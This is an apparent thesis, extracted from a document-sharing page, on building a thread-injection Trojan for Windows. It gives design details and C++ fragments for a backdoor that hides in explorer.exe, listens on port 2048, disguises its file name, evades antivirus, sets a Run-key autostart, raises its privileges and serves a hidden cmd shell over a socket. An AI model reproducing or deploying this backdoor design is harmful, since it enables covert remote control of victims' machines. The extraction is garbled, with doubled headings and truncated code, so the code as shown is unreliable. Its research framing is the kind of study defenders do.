向WINDOWS单线程插入木马的研究_第1页
向WINDOWS单线程插入木马的研究_第2页
向WINDOWS单线程插入木马的研究_第3页
向WINDOWS单线程插入木马的研究_第4页
向WINDOWS单线程插入木马的研究_第5页
已阅读5页,还剩19页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、向向 WINDOWS 单线程插入木马的研究单线程插入木马的研究 摘摘 要要 随着互联网的迅速普及和应用的不断发展,各种黑客工具和网络攻击手段 也层出不穷,网络攻击导致用户利益受到损害,其中木马(Trojan Horse)攻击以 其攻击范围广、隐蔽性、危害大等特点成为常见的网络攻击技术之一,对网络 安全造成了极大的威胁。系统实现了一个线程插入木马,在 Windows XP 中, 木马被注入 EXPLORER 进程,然后它打开一个线程在 2048 端口监听,使其不 被发现。木马运行后将自动将自身复制到系统目录下,并且将其命名为一个类 似系统文件的名字,使得管理员在众多的系统文件中,不敢轻易删除文件

2、。防 止杀毒软件和防火墙报警,并且尽量避免被系统管理员的察觉,减少被发现的 概率。论文介绍了木马的定义、原理、分类及其发展趋势。介绍了线程插入, 自动运行等技术及其应用。讨论了在 WINDOWS 系统平台下自动运行的方法, 并且给出了部分实现代码。重点描述了一个木马的设计及 Visual C+的实现。 本文在木马隐藏部分做了研究。 关键词关键词:木马;线程插入;隐藏;后门 Design and implement of thread inject Trojan horse Abstract With the rapid popularization of the Internet and th

3、e constantly development of its application, various kinds of hacker tools and Internet attack methods have also appeared. These attacks have seriously damaged the interests of the Internet users. Among these attacks, Trojan horse has been a rather popular one because of its extensive range of attac

4、k, the disguise for the self-protection and the enormous harmfulness. In Windows XP, the Trojan horse is injected into process Explorer, and then it creates a thread to listen at port 2048, which make it hard to find out. The Trojan horse will be copied to the systematic catalogue automatically afte

5、r it is operated, and will be named as similar one of the systematic files, which make administrators dare not to delete the file easily among the numerous systematic file .The Trojan horse avoids antivirus software, fire walls alarm, the perception of the system manager and decrease probability of

6、being detected Trojan horse. In this thesis, we firstly point out some basic ideas of the Trojan horse which includes its definition, principle, classification and the development trends. We introduce some techniques about its injecting, auto-loading, and its applications. The methods of its auto-ru

7、nning in windows operating system platform are also discussed in this paper, and the crucial fractions of its implement is presented。In this thesis, the author makes a key description on the design of a Trojan horse and implementation with Microsoft Visual C+. This thesis is lucubrated on the part o

8、f Trojan horse hiding. Key words: Trojan horse;Thread inject;Hide; Back door 目目 录录 论文总页数:25 页 1引言 .1 1.1计算机安全背景 .1 1.2木马发展现状 .1 1.3研究木马原理的重要性 .1 1.4本课题的设计目的及意义 .1 2相关理论基础 .2 2.1木马的发展过程 .2 2.1.1“木马”名称的由来 .2 2.1.2木马病毒发展史 .2 2.1.3木马未来的发展方向 .4 2.2关键技术 .4 2.2.1远程线程插入 .4 2.2.2动态链接库技术 .7 3需求分析 .8 3.1任务目标概述

9、 .8 3.2对功能的规定 .9 3.3运行环境规定 .9 4设计与实现 .9 4.1木马程序的总体设计 .9 4.1.1程序设计环境 .9 4.1.2木马结构 .10 4.1.3程序结构 .10 4.2EXCUTEDLLTEST.EXE的实现 .12 4.2.1远程线程插入模块的实现 .12 4.2.2自启动模块 .14 4.2.3提升权限模块 .15 4.2.4进程名转化为 PID.15 4.3DLLTEST.DLL的实现.17 4.3.1向客户端提供立一个命令行 shell.17 4.3.2查看当前所有进程 .18 4.3.3杀死进程 .19 4.3.4后门模块 .19 4.4木马的捆绑

10、 .21 5测试 .21 结 论 .22 参考文献 .23 1引言引言 1.11.1 计算机安全背景计算机安全背景 计算机网络技术的飞速发展和普及应用,使人们充分享受网络带来的种种 便利, 与此同时,也对网络与系统安全提出了更高的要求。近年来,随着社会 及家庭网络应用的大量普及,计算机信息安全越来越成为人们重视与关心的焦 点问题。在用户享受宽带网络带来的便利与快捷的同时,也为各类严重威胁计 算机信息安全的病毒提供了方便之门。据有关部门连续三年调查表明,2001 年 约 73%的计算机用户曾感染过病毒,其中,感染三次以上的用户高达 59%;到 了 2002 年,受感受的用户上升到近 84%;20

11、03 年上半年又增加到 85%,并呈 现出继续上升趋势。 在众多病毒当中,木马病毒由于具备能够隐蔽地随时向外 发送指定信息,甚至具备远程交互能力而成为黑客们钟爱的后门工具。臭名昭 著的 BO , 使人谈“冰”色变的冰河,号称“地狱巴士”的 NetBus, “网络间 谍” “广外女生”等等都是经典的木马。木马作为黑客的攻击手段之一, 它 对系统具有强大的控制功能。一个功能强大的木马一旦被植入您的机器, 攻击 者就可以像操作自己的机器一样控制您的机器, 甚至可以远程监控您的所有操 作, 其破坏力是不容忽视的。对于用户而言,木马病毒的危害是巨大的,它使 用户的计算机随时暴露于黑客的控制监视之下,黑客

12、们可以轻易地窃取自己感 兴趣的数据并传输到指定的计算机中,这较之传统病毒只能破坏用户数据的危 害又大了许多。 1.21.2 木马发展现状木马发展现状 目前大部分的木马都为第四代木马,其特点为:在进程隐藏方面获得了重 大突破,采用插入内核的嵌入方式、利用远程插入线程技术、嵌入 DLL 线程、 或挂接 PSAPI 等,实现木马程序的隐藏,利用反弹端口技术突破防火墙限制, 在 Windows 2000/xp 下取得了良好的隐藏效果。也有相当数量的的五代木马肆 虐,其特点为:与病毒紧密结合,利用操作系统漏洞,直接实现感染传播的目 的,而不必象以前的木马那样需要欺骗用户主动激活。随着攻击和防范技术不 断

13、的发展,目前已经出现了内核级的 WINDOWS 木马,如 NTrootkit 等,采取 虚拟设备驱动程序(VXD),更注重底层的通讯编程。相信不久的将来,将有更 多的内核级木马出现。 1.31.3 研究木马原理的重要性研究木马原理的重要性 木马程序使得远端的黑客能够享有系统的控制权,对网络和计算机系统的 安全构成了极大的威胁。 “知己知彼,百战不殆” ,作为专业的网络安全工作者, 如果想找出防御木马攻击的有效途径,就必须认真地研究木马攻击的技术。在 研究木马攻防的过程中,如果能够理清木马攻击手段的发展脉络,就有可能进 一步找出木马发展的趋势,并提早思考应对策略。如传统的木马一般直接利用 TCP

14、/IP 协议进行控制端和被控制端通信,这种通信可以使用 snifer 工具监听。 分析该通信的特征就可以从中寻找木马的蛛丝马迹。基于网络的木马入侵探测 系统的工作原理正是通过对网络上传输的实际分组的内容进行测试、对分组结 构进行识别来分析网络中使用的协议并从其中抽取木马相关信息。一旦木马开 发者利用诸如隐蔽信道之类的技术使得信道不再具有明显的特征,对此类检测 手段将产生致命性的打击。网络安全工作者必须未雨绸缪,对此先行研究以期 及早提出应对方案。 木马攻击与防范是矛盾的两个方面,攻击和防范技术在不断地相互较量中 也不断地相互促进,这个过程还将依然持续下去。 1.41.4 本课题的设计目的及意义

15、本课题的设计目的及意义 本课题涉及到的是现在不管是政府机构,公司,还是个人都关心的网络安 全问题。当前的这个问题对于每个人都是首先要面对的问题。那么我们应当怎 么去应对这个问题呢, “知己知彼,百战不殆” ,只有知道黑客是怎么样去攻击, 怎样实现他们的木马。在熟悉木马的各方面的实现原理、关键技术后,就能基 本上对付黑客的攻击,维护自己的利益,保证自己的机密信息不被泄漏,把自 己损失降到最低点。本文介绍了一些最基本的网络及个人电脑的安全问题,还 设计实现了一个简单木马,并且还介绍了木马程序的高级技巧和未来的趋势。 本文介绍木马编程的一般技巧,并不是教人去如何攻击他人,目的只是让大家 了解木马的工

16、作原理和简单的编写步骤,以便更好地防范和清除木马,维护我 们自己应有的网络安全。 本次设计侧重于设计实现一个简单木马。该木马是在 Windows 平台下,利 用 Visual C6.0 进行编程,大量调用 Windows API 进程编程,并且使用了 DLL 技术进行模块化设计。这种设计方法有利于锻炼 Windows 程序员模块设 计能力,和不同模块的接口问题。这不仅可以使我们学习和理解到网络安全方 面的基本知识、木马的基本原理和实现方法,而且有利于对于 Windows 编程有 更深入的理解,拓宽知识面,增强我们对网络安全防范的意识,不管是对于学 习、生活还是生产实践都有很大的意义。 2相关理

17、论基础相关理论基础 2.12.1 木马的发展过程木马的发展过程 2.1.1 “木马木马”名称的由来名称的由来 木马是一个计算机的词汇,但是他却是来源于古希腊。古希腊神话木马 屠城记记录有这样的故事,说的是有一个美丽而妖艳的女孩嫁给了希腊的王 子,但是最终却被 Trojan City(特洛伊城) 的王子吸引并私奔回到了特洛伊城, 希腊人于是把发兵把该城围住,但是围了十年都没有攻下,后来希腊人想出了 一条计策,他们把士兵藏在一匹匹木头做的马(这就是木马的来历)里面,并 且引诱特洛伊人把这些木马当成战利品夺回城中,到了半夜,这些木马的士兵 跳出来,和城外的希腊士兵里应外合,最终把特洛伊城攻下了。 在

18、计算机领域的有这样一类代码,他们很短小精悍,往往只有几十 k,常 常伪装或者隐藏在合法程序中,这些代码或者执行特定的恶意行为,或者为非 授权访问系统的特权功能提供后门。他们的最大的特征是隐秘性,偷偷混入对 方的主机里面,但是却没有被对方发现,系统表现也正常,这些代码的行为和 木马屠城记中原始的木马的特征相同,所以在计算机领域里面,就用木马 来称呼这样的一类代码。 2.1.2 木马病毒发展史木马病毒发展史 第一代木马 :伪装型病毒 这种病毒通过伪装成一个合法性程序诱骗用户上当。世界上第一个计算机 木马是出现在 1986 年的 PC-Write 木马。它伪装成共享软件 PC-Write 的 2.7

19、2 版本(事实上,编写 PC-Write 的 Quicksoft 公司从未发行过 2.72 版本) ,一旦用 户信以为真运行该木马程序,那么他的下场就是硬盘被格式化。此时的第一代 木马还不具备传染特征。 第二代木马 :AIDS 型木马 继 PC -Write 之后,1989 年出现了 AIDS 木马。由于当时很少有人使用电 子邮件,所以 AIDS 的作者就利用现实生活中的邮件进行散播:给其他人寄去 一封封含有木马程序软盘的邮件。之所以叫这个名称是因为软盘中包含有 AIDS 和 HIV 疾病的药品,价格,预防措施等相关信息。软盘中的木马程序在运行后, 虽然不会破坏数据,但是他将硬盘加密锁死,然后

20、提示受感染用户花钱消灾。 可以说第二代木马已具备了传播特征(尽管通过传统的邮递方式) 。 第三代木马:网络传播性木马 随着 Internet 的普及,这一代木马兼备伪装和传播两种特征并结合 TCP/IP 网络技术四处泛滥。信息传输方式有所突破,采用 ICMP 协议,增加了查杀的 难度。同时他还有新的特征: 第一添加了“后门”功能。所谓后门就是一种可以为计算机系统秘密开 启访问入口的程序。一旦被安装,这些程序就能够使攻击者绕过安全程序进入 系统。该功能的目的就是收集系统中的重要信息,例如,财务报告、口令及信 用卡号。此外,攻击者还可以利用后门控制系统,使之成为攻击其它计算机的 帮凶。由于后门是隐

21、藏在系统背后运行的,因此很难被检测到。它们不像病毒 和蠕虫那样通过消耗内存而引起注意。 添加了击键记录功能。从名称上就可以知道,该功能主要是记录用户所有 的击键内容然后形成击键记录的日志文件发送给恶意用户。恶意用户可以从中 找到用户名、口令以及信用卡号等用户信息。这一代木马比较有名的有国外的 BO2000(Back Orifice)和国内的冰河木马。它们有如下共同特点:基于网络的 客户端/服务器应用程序。具有搜集信息、 执行系统命令、重新设置机器、重 新定向等功能。 当木马程序攻击得手后,计算机就完全在黑客控制的傀儡主机, 黑客成了超级用户,用户的所有计算机操作不但没有任何秘密而言,而且黑客

22、可以远程控制 傀儡主机对别的主机发动攻击,这时候背俘获的傀儡主机成了黑 客进行进一步攻击的挡箭牌和跳板。 第四代木马 在进程隐藏方面获得了重大突破,采用插入内核的嵌入方式、利用远程插 入线程技术、嵌入 DLL 线程、或挂接 PSAPI 等,实现木马程序的隐藏,利用 反弹端口技术突破防火墙限制,在 Windows NT/2000 下取得了良好的隐藏效果。 第五代木马 与病毒紧密结合,利用操作系统漏洞,直接实现感染传播的目的,而不必 象以前的木马那样需要欺骗用户主动激活。 2.1.3 木马未来的发展方向木马未来的发展方向 (1) 传统的 TCP 端对端连接会被抛弃, 未来木马要么采用非 TCP/U

23、DP 的 IP 族数据包, 如 ICMP 方式, 增加了查杀的难度, 它们十分隐蔽, 如 果不对数据包详细分析, 很难查出木马入侵; 要么采用寄生 TCP 端口(例如: 我们进行 TCP 操作时打开 21 号端口, 当我们进行 FTP 操作时, 木马也可同 时通过 21 号端口与服务端进行连接) , 这样木马传输的数据包和正常的数据 包很难区分开来。 (2) 在传播方式上, 未来木马会和病毒一样,采用交叉式迅速大规模扩散, 并且运行方式越来越隐蔽。 (3) 将更注重底层的通讯编程, 如针对网卡和 Modem 的通讯编程, 这样 可以避开防火墙的监视和过滤。 (4)采取虚拟设备驱动程序(VXD)

24、 及动态链接库(DLL) 技术, 伪装隐藏方 式更隐蔽。据悉, 目前已有采用此种方式编写的木马。采用这种方式编写的木 马与一般的木马不同, 它基本上摆脱了原有的木马模式, 而采用 DLL 动态 嵌入远程线程技术。这样做的结果是: 系统中没有增加新的文件, 不需要打开 新的端口, 没有新的进程。在正常运行时木马几乎没有任何的症状,而一旦木 马的控制端向被控端发出特定的信息后, 隐蔽的程序就立即开始动作。 2.22.2 关键技术关键技术 2.2.1 远程线程插入远程线程插入 更好的隐藏方式是使木马程序不以进程和服务的方式存在,而是完全溶入 系统内核。因此,在设计时,我们不应把它做成一个应用程序,而

25、是做成一个 可以注入应用程序地址空间的线程。该应用程序必须确保绝对安全,这样才能 达到彻底隐藏的效果,增加查杀的难度。线程注入式木马采用动态嵌入技术将 自己的代码嵌入正在运行的进程中。 Windows 中每个进程都有自己的私有内存 空间,其他进程不得对该私有空间进行操作,但实际上,有很多方法可操作私 有空间。动态嵌入技术很多,如窗口 Hook、挂接 API、远程线程等。 (1) 远程线程插入技术。远程线程技术指的是通过在一个远程进程中创建 远程线程的方法进入该进程的内存地址空间。可以通过 CreateRemoteThread 函 数在一个远程进程内创建远程线程,被创建的远程线程可以共享远程进程

26、的地 址空间,这样就可以通过该线程进入远程进程的内存地址空间,从而拥有了远 程进程相当的权限,如在远程进程内部启动一个 DLL 木马,甚至可以随意篡改 其中的数据。远程线程技术的关键在于要将线程函数执行体及其参数复制到远 程进程空间中,否则远程线程会在执行时因找不到参数而报错。 在实现上,这个技术比较复杂,因为这个线程在目标进程中的寻址会出现 问题,必须要进行地址的重定位。为了实现地址的重定位,需要将许多要用到 的使用地址进行访问的函数和变量的地址保存下来,然后将这些函数和变量的 名城字符串插入到目标进程中去。需要插入到目标进程中的内容包括线程的过 程体,线程中要用到的所有的 API 函数,所

27、有自己定义的函数,所有的全局变 量,所有的字符串。也就是说,在编程实现中,需要用到上述的任何东西,都 要再次在启动进程中分配存储空间,并要插入到目标进程中去,这种方法对于 实现较少功能的程序来说,还可以忍受,但是,一旦程序实现的功能较多,其 编程的复杂性会非常高,其不符合常规程序设计的特点也会突现,最终可能导 致程序的崩溃。从总体上来分析发现,这种技术不适合功能比较多的后门控制 程序的编写。 (2)动态链接库插入技术。将后门程序做成一个动态链接库文件,然后仍然 使用远程线程插入技术,将此动态链接库的加载语句插入到目标进程中去,并 将调用动态链接库函数的语句插入到目标进程,这个函数类似于普通程序

28、中的 入口程序。这里需要提及的就是,在现有公布的文档中,似乎大家都觉得应该 将实现后门功能的入口程序放在 DLL_PROCESS_ATTACH 或者分支语句处 DLL_THREAD_ATTACH。但是在实验中发现,这样做会引出诸多的问题,每 个进程在调用自己需要的动态链接库的时候都会调用入口函数,这样就会出现 一些多次加载的错误。对于这一点,微软的文档中没有做明确的说明。 远程线程函数插入到目标进程中的程序,不能使用目标程序的消息循环, 所以,对于既要使用进程隐藏,又要使用交互式程序界面的程序是不能实现的。 目前使用这种方法进行隐藏的后门软件主要有 PortLess BackDoor、BITS

29、.dll、NOIR-QUEEN。 启动 DLL 后门的载体 EXE 是不可缺少的,也是非常重要的,它被称为: Loader。如果没有 Loader,那我们的 DLL 后门如何启动呢?因此,一个好的 DLL 后门会尽力保护自己的 Loader 不被查杀。Loader 的方式有很多,可以是为 我们的 DLL 后门而专门编写的一个 EXE 文件;也可以是系统自带的 Rundll32.exe,即使停止了 Rundll32.exe,DLL 后门的主体还是存在的。3721 网 络实名就是一个例子,虽然它并不是“真正”的后门。 (3) Hooking API。这是比较经典的技术,这里使用“Hooking A

30、PI”这个术 语表示对 API 的完全修改,就是通过修改 API 函数的入口地址的方法来欺骗试 图列举本地所有进程的程序。因为能够列举本地进程的 API 函数也就是那几个, 所以,为了能够欺骗列进程程序,就要修改列进程 API 函数的入口地址,使别 的程序在调用这些函数的时候,首先转向我们的程序,我们的程序中需要做的 工作就是在列表中将自己的进程信息去掉,从而达到进程的隐藏,这种方法的 实现难度更大,要求程序设计者要精通 Windows 下的进程、汇编器、PE 文件 结构和一些 API 函数。 首先来看运行前挂钩。这里修改我们想要修改函数来自的物理模块(大多数 时候是.exe 或.dll)。在

31、这里我们至少有 3 种可能的做法。 第一种可能是找到函数的入口点然后重写它的代码。这会因为函数的大小 而受限制,但我们能动态加载其它一些模块(API LoadLibrary),所以应该足够了。 内核函数(kernel32.dll)是通用的,因为 Windows 中每个进程都有这个模块的拷 贝。另一个好处是如果我们知道哪些模块在某版本中会修改,我们可以在一些 API 如 LoadLibraryA 中使用直接的指针。这是因为 Kernel 模块在内存中地址在 相同 Windows 版本中是固定的。我们同样也能用动态加载的模块的作用。在这 里它的初始化部分在加载进内存后立刻就运行,在新模块的初始化部

32、分我们不 受限制。 第二种可能是在模块中被代替的函数只是原函数的扩展,然后我们选择要 么修改开始的 5 个字节为跳转指令或者改写 IAT。如果改为跳转指令,那么将 会改变指令执行流程转为执行我们的代码。如果调用了 IAT 记录被修改的函数, 我们的代码能在调用结束后被执行,但模块的扩展没那么容易,因为我们必须 注意 DLL 首部。 第三种是修改整个模块。这意味着我们创建自己的模块版本,它能够加载 原始的模块并调用原始的函数,当然我们对这个不感兴趣,但重要的函数都是 被更新的。这种方法对于有的模块过大的和拥有几百个导出函数的很不方便。 接下来看一下运行时挂钩的技术。在运行前挂钩通常都非常特殊,并

33、且是 在内部面向具体的应用程序(或模块)。如果我们更换了 Kernel32.dll 或 Ntdll.dll 里的函数,我们就能完美地做到在所有将要运行的进程中替换这个函数,但说 来容易做起来却非常难,因为我们不但得考虑精确性和需要编写比较完善的新 函数或新模块,但主要问题是只有将要运行的进程才能被挂钩(要挂钩所有进 程只能重启电脑) 。另一个问题是如何进入这些文件,因为操作系统保护了它们。 比较好的解决方法在进程正在运行时挂钩。这需要更多的有关知识,但最后的 结果相当不错。在运行中挂钩只对能够写入它们的内存的进程能成功。为了能 写入它自己我们使用 API 函数 WriteProcessMemo

34、ry。使用“Hooking API”技术 的例子有 Linux 下 RootKit,Windows2000 下的 NTrootkit 和 Hxdef 等,另外病 毒里的反杀毒软件的技术也经常采用。 2.2.2 动态链接库技术动态链接库技术 先来阐述一下 DLL(Dynamic Linkable Library)的概念,你可以简单的把 DLL 看成一种仓库,它提供给你一些可以直接拿来用的变量、函数或类。在仓 库的发展史上经历了“无库静态链接库动态链接库”的时代。静态链接库 与动态链接库都是共享代码的方式,如果采用静态链接库,则无论你愿不愿意, lib 中的指令都被直接包含在最终生成的 EXE 文

35、件中了。但是若使用 DLL,该 DLL 不必被包含在最终 EXE 文件中,EXE 文件执行时可以“动态”地引用和 卸载这个与 EXE 独立的 DLL 文件。静态链接库和动态链接库的另外一个区别 在于静态链接库中不能再包含其他的动态链接库或者静态库,而在动态链接库 中还可以再包含其他的动态或静态链接库。 动态链接库技术是 Windows 最重要的实现技术之一,Windows 的许多新功 能、新特性都是通过 DLL 来实现的。其实,Windows 本身就是由许多 DLL 组 成的,它最基本的三大组成模块 Kernel、GDI 和 User 都是 DLL。 一般来说,DLL 是一种磁盘文件,以.dl

36、l、.DRV、.FON、.SYS 和许多以. EXE 为扩展名的系统文件都可以是 DLL。它由全局数据、服务函数和资源组成, 在运行时被系统加载到进程的虚拟空间中,成为调用进程的一部分。如果与其 它 DLL 之间没有冲突,该文件通常映射到进程虚拟空间的同一地址上。DLL 模块中包含各种导出函数,用于向外界提供服务,Windows 在加载 DLL 模块时 将进程函数调用与 DLL 文件的导出函数相匹配。DLL 可以有自己的数据段, 但没有自己的堆栈,DLL 模块需要的堆栈内存都是从运行进程的堆栈中分配出 来的,使用与调用它的应用程序相同的堆栈模式;一个 DLL 在内存中只有一个 实例;DLL 实

37、现了代码封装性;DLL 的编制与具体的编程语言及编译器无关。 动态链接库的分类。微软的 Visual C+支持三种 DLL,它们分别是 Non- MFC Dll(非 MFC 动态库) 、Regular Dll(常规 DLL) 、Extension Dll(扩展 DLL) 。 (1) Non-MFC DLL(非 MFC 动态库) 这种动态链接库指的是不用 MFC 的类库结构,直接用 C 语言写的 DLL, 其导出的函数是标准的 C 接口,能被非 MFC 或 MFC 编写的应用程序所调用。 如果建立的 DLL 不需要使用 MFC,那么应该建立 Non-MFC DLL,因为使用 MFC 会增大用户库

38、的大小,从而浪费用户的磁盘和内存空间。 (2) Regular DLL(常规 DLL) 这种动态链接库和下述的 Extension Dll 一样,是用 MFC 类库编写的,它 的一个明显的特点是在源文件里有一个继承 CWinApp 的类(注意:此类 DLL 虽然从 CWinApp 派生,但没有消息循环),被导出的函数是 C 函数、C+类或 者 C+成员函数(注意不要把术语 C+类与 MFC 的微软基础 C+类相混淆) , 调用常规 DLL 的应用程序不必是 MFC 应用程序,只要是能调用类 C 函数的应 用程序就可以,它们可以是在 Visual C+、Delphi、Visual Basic、B

39、orland C 等 编译环境下利用 DLL 开发应用程序。常规 DLL 又可细分成静态链接到 MFC 和 动态链接到 MFC 两种: 第一,静态连接到 MFC 的动态连接库只被 VC 的专业般和企业版所支持。 该类 DLL 里的输出函数可以被任意 Win32 程序使用,包括使用 MFC 的应用程 序。输出函数有如下形式: extern C EXPORT YourExportedFunction( ); 如果没有 extern C修饰,输出函数仅仅能从 C+代码中调用。 第二,动态链接到 MFC 的常规 DLL 里的输出函数可以被任意 Win32 程序 使用,包括使用 MFC 的应用程序。所有

40、从 DLL 输出的函数应该以如下语句开 始: AFX_MANAGE_STATE(AfxGetStaticModuleState( ) 此语句用来正确地切换 MFC 模块状态。 (3) Extension Dll(扩展 DLL) 这种动态链接库是使用 MFC 的动态链接版本所创建的,并且它只被用 MFC 类库所编写的应用程序所调用。例如你已经创建了一个从 MFC 的 CtoolBar 类的派生类用于创建一个新的工具栏,为了导出这个类,你必须把它 放到一个 MFC 扩展的 DLL 中。扩展 DLL 和常规 DLL 不一样,它没有一个从 CWinApp 继承而来的类的对象,所以,开发人员必须在 DL

41、L 中的 DllMain 函 数添加初始化代码和结束代码。与常规 DLL 相比,扩展的 DLL 有如下不同点: 1) 它没有一个从 CWinApp 派生的对象; 2) 它必须有一个 DLLMain 函数; 3) DLLMain 调用 AfxInitExtensionModule 函数,必须检查该函数的返回值, 如果返回 0,DLLMmain 也返回 0; 4) 如果它希望输出 CRuntimeClass 类型的对象或者资源(Resources),则需 要提供一个初始化函数来创建一个 CDynLinkLibrary 对象。并且,有必要把初 始化函数输出; 5) 使用扩展 DLL 的 MFC 应用

42、程序必须有一个从 CWinApp 派生的类,而 且,一般在 InitInstance 里调用扩展 DLL 的初始化函数。 3需求分析需求分析 3.13.1 任务目标概述任务目标概述 1. 木马的基本功能 主要实现木马的基本功能,如感染,控制主机等。 2. 线程插入 通过远程线程插入来感染宿主文件,以便躲过躲过杀毒软件的查杀,实现 真隐藏。 3. 木马所应具有的的其他特点 隐秘性 木马被引入了主机(这个过程称为 ”植入” ) ,那么它首先要找 到一个地方来隐藏起来,等待时机发作,在被植入的主机看起来就好像什么事 情都没有。 自动运行性 一个好的木马绝对不可能奢望对方来点击运行,也不能只 执行一次

43、,然后随着系统的关机而不再运行,这样的只发作一次的木马是没有 什么作用的。木马往往具有自动运行性,也就是说要么随机子的启动运行而发 作,要么等某个条件来触发,而这个触发条件应该是很常用的。 危害性 如果一个木马没有什么危害,那么它也就失去了入侵的目的, 一个木马的危害性主要表现在控制性上,木马的制作者通过植入木马,然后非 法获取系统的较高控制权,达到最终控制对方机子的目的。 3.23.2 对功能的规定对功能的规定 首先,伪装过的木马要在用户毫无察觉的时候感染用户计算机,并自动开 始运行,改写注册表启动项,使之能都够开机自动运行。在服务端感染宿主计 算机后,建立一个线程在 2048 端口监听。用

44、户将 telnet 作为客户端连接服务端, 通过 telnet 向服务端发布命令以控制或破坏服务端计算机。结束后使用命令退 出连接,服务端不关闭,还可再次连接。 3.33.3 运行环境规定运行环境规定 本系统的运行环境为 WINDOWS2000 以上的 WINDOWS 操作系统。 4设计与实现设计与实现 4.14.1 木马程序的总体设计木马程序的总体设计 4.1.1 程序设计环境程序设计环境 本木马的程序设计的软硬件环境如下: 硬件环境:CPU 奔腾M 1.6G ;内存 512 DDR。 软件环境:Windows XP SP2 操作系统,开发工具采用 Visual C6.0。 其中在系统目录的

45、还添加了 psapi.lib 和 psapi.h 文件。 4.1.2 木马结构木马结构 自动运行 隐藏 接受并执行指令发布命令 植入木马 服务器端(被攻击者)客户端(攻击者) 木马加载 攻击指令 图 1 木马活动流程 从本质上看,木马都是采用 C/S 模式(如图 1) ,也就是说,在一个成功的 木马中,有两个角色,一个承担服务器的功能,一个扮演客户端的角色。入侵 者扮演的是客户端角色,而被侵入的主机则扮演服务器的角色。木马侵入完成 后,一般会守侯在一个约定好的端口,然后入侵者经过网络通过这个端口给被 侵入的主机发送命令,木马随着执行这些命令。不过此设计中的客户端功能又 windows 自带的

46、telnet 来完成。控制主机通过主动扫描一段 IP 的端口来发现受 控者。 4.1.3 程序结构程序结构 4.24.2 ExcuteDLLTest.exe 的实现的实现 4.2.1 远程线程插入模块的实现远程线程插入模块的实现 4.2.2 自启动模块自启动模块 木马每次在用户每次启动系统后, 自动加载运行。Windows 的自启动方式 有许多方式,除了一些常见的启动方式之外,还有一些非常隐蔽的可用来启动 文件的方式。木马要做的是如何在每次用户启动时自动装载服务端。Windows 支持多种的在系统启动时自动加载应用程序的方法.首先通过 GetModuleFileName 函数获得本进程文件地址

47、,通过 RegCreateKeyEx 函数打开 注册表,通过在 SoftwareMicrosoftWindowsCurrentVersionRun 注册,实现程 序的自启动。关键代码如下所示: HKEY hRoot = HKEY_LOCAL_MACHINE; Char *szSubKey = SoftwareMicrosoftWindowsCurrentVersionRun; HKEY hKey; DWORD dwDisposition = REG_OPENED_EXISTING_KEY;/ 打开指定子键 LONG lRet = :RegCreateKeyEx(hRoot, szSubKey,

48、 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, if(lRet != ERROR_SUCCESS) return -1; char szModuleMAX_PATH ; / 得到当前执行文件的文件名(包含路径) :GetModuleFileName (NULL, szModule, MAX_PATH); lRet = :RegSetValueEx(hKey, SelfRunDemo, 0, REG_SZ, (BYTE*)szModule, strlen(szModule); / 创建一个新的键值,设置键值数据为文件名 :RegC

49、loseKey(hKey); 4.2.3 提升权限模块提升权限模块 对于一个木马程序来说,提高其权限有着很重要的作用。在本程序中,为 了顺利的发送邮件,结束不希望的进程,均需要提高程序的权限。首先使用 API 函数 OpenProcessToken()以调整权限和访问方式获得当前进程的句柄,API 函数 AdjustTokenPrivileges 修改其权限。关键代码如下所示: HANDLE hToken;TOKEN_PRIVILEGES tp;LUID luid; if(!OpenProcessToken(GetCurrentProcess(),/打开进程令牌环 TOKEN_ADJUST_P

50、RIVILEGES|TOKEN_QUERY, return 1; if(!LookupPrivilegeValue(NULL,name, tp.PrivilegeCount = 1; tp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges0.Luid = luid; /调整权限 if(!AdjustTokenPrivileges(hToken,0, return 1; 4.2.4 进程名转化为进程名转化为 PID 基本思想是调用 EnumProcesses()计算当前的有多少进程,并且用一数组 存放有效进程的 PID,然后

51、通过遍历,与目标进程名进行核对,如果相符,就 返回该进程 PID。流程如图 6: 把系统当前 进程存入数组 取当前进程 返回该PID 是否与目标进 程名相同 取数组下个进程 Y N 图 6 找到目标进程 PID 流程图 开始 结束 具体的实现代码如下: DWORD aProcesses1024, cbNeeded, cProcesses; unsigned int i; HANDLE hProcess; HMODULE hMod; char szProcessNameMAX_PATH = UnknownProcess; / 计算目前有多少进程, aProcesses用来存放有效的进程 PIDs

52、 if ( !EnumProcesses( aProcesses, sizeof(aProcesses), cProcesses = cbNeeded / sizeof(DWORD); for ( i = 0; i cProcesses; i+ ) / 按有效的 PID 遍历所有的进程 / 打开特定 PID 的进程 hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ,FALSE, aProcessesi); if ( hProcess ) / 取得特定 PID 的进程名 if ( EnumProcessModul

53、es( hProcess, /将取得的进程名与输入的进程名比较,如相同则返回进程 PID if(!_stricmp(szProcessName, InputProcessName) CloseHandle( hProcess ); return aProcessesi; CloseHandle( hProcess ); 4.34.3 Dlltest.dll 的实现的实现 4.3.1 向客户端提供立一个命令行向客户端提供立一个命令行 shell 根据客户端地址,使用 CreateProcess 函数建立一个 CMD SHELL 进程,等 待使用往后再结束进程。关键代码如下: STARTUPINF

54、O si; ZeroMemory( si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD; char cmdLine = cmd; PROCESS_INFORMATION ProcessInformation; int ret; /建立进程 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL, WaitF

55、orSingleObject(ProcessInformation.hProcess, INFINITE); TerminateProcess(ProcessInformation.hProcess, 0); CloseHandle(ProcessInformation.hProcess); 4.3.2 查看当前所有进程查看当前所有进程 此模块的功能为在客户端显示所有服务端的进程 ID。原理为使用 CreateToolhelp32Snapshot 给系统内的所有进程拍一个快照,然后遍历进程快照, 轮流显示每个进程的信息。关键代码如下: PROCESSENTRY32 pe32; pe32.dwS

